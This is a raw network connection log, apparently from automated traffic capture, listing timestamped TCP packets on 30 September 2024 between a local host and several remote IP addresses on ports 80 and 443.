Sep 30, 2024 12:22:46.174746037 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174774885 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174819946 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174824953 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174827099 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174880028 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174894094 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174927950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174974918 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174974918 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174981117 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175019026 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175051928 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175067902 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175067902 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175088882 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175101995 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175128937 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175148010 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175158978 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175180912 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175194025 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175216913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175230026 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175251961 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175282001 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175282001 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175335884 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175376892 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175394058 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175404072 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175441980 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175462961 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175494909 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175497055 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175532103 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175565958 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175616026 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175616026 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175617933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175652027 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175674915 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175687075 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175712109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175719976 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175750017 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175775051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175817013 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175828934 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175828934 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175865889 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175908089 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175919056 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175930023 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175957918 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.175965071 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.175992966 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176011086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176031113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176073074 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176083088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176084995 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176116943 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176130056 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176167965 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176171064 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176204920 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176232100 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176265001 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176270962 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176306009 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176358938 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176358938 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176392078 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176397085 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176424980 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176430941 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176457882 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176480055 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176486015 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176520109 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176539898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176553965 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176595926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176595926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176605940 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176642895 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176666975 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176680088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176697016 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176717043 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176740885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176749945 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176794052 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176794052 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176806927 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176856995 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176891088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176908016 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176908016 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176947117 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.176950932 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.176983118 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177016973 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177021027 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177041054 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177072048 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177076101 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177126884 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177139997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177164078 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177215099 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177217007 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177217007 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177251101 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177270889 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177304029 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177309036 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177341938 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177375078 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177392960 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177407026 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177413940 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177434921 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177443981 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177469969 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177488089 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177500963 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177526951 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177541018 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177561045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177597046 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177609921 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177632093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177668095 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177669048 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177702904 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177702904 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177772999 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177788973 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177814007 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177824020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177846909 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177860975 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177908897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177917004 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177941084 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177947998 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.177967072 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.177983046 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178014040 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178019047 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178037882 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178052902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178086996 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178095102 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178122997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178136110 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178136110 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178160906 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178184986 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178195000 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178231001 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178256035 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178265095 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178299904 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178329945 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178333998 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178369045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178399086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178400993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178436041 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178467035 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178467035 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178471088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178505898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178508043 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178523064 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178539991 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178574085 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178606033 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178608894 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178628922 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178642988 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178658962 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178680897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.178719044 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.178734064 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262443066 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262528896 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262567997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262593031 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262593031 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262600899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262639046 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262658119 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262658119 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262695074 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262728930 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262737989 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262737989 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262763023 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262795925 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262820005 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262826920 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262856960 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262881994 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262897968 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262922049 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262932062 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.262976885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262976885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.262989044 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263042927 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263051033 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263075113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263101101 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263114929 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263134956 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263153076 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263183117 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263186932 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263217926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263223886 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263252020 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263257980 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263279915 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263312101 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263346910 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263362885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263362885 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263401985 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263381958 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263468027 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263489008 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263526917 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263562918 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263569117 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263597965 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263632059 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263655901 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263657093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263691902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263712883 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263726950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263752937 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263762951 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263799906 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263808012 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263819933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263856888 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263881922 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263895035 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263925076 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263931036 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263966084 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.263972044 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.263972044 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264002085 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264027119 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264035940 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264062881 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264070034 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264084101 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264105082 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264131069 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264139891 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264173985 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264189959 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264189959 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264210939 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264240980 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264246941 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264283895 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264297962 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264297962 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264319897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264338970 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264353037 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264373064 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264386892 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264405012 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264421940 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264445066 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264456034 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264491081 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264491081 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264524937 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264528036 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264566898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264566898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264586926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264604092 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264624119 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264641047 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264672041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264677048 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264710903 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264723063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264723063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264745951 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264761925 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264780998 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264810085 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264816046 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264851093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264852047 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264864922 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264885902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264895916 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264920950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264925957 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264956951 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.264998913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.264998913 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.272826910 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.272918940 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.272999048 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.274339914 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.274339914 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.274353981 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.274363995 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.297367096 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.297410965 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.297488928 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.297777891 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.297795057 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.360361099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:46.365298033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:46.765383005 CEST	443	52537	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.765467882 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.923047066 CEST	52537	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:46.923079014 CEST	443	52537	172.67.205.129	192.168.2.4
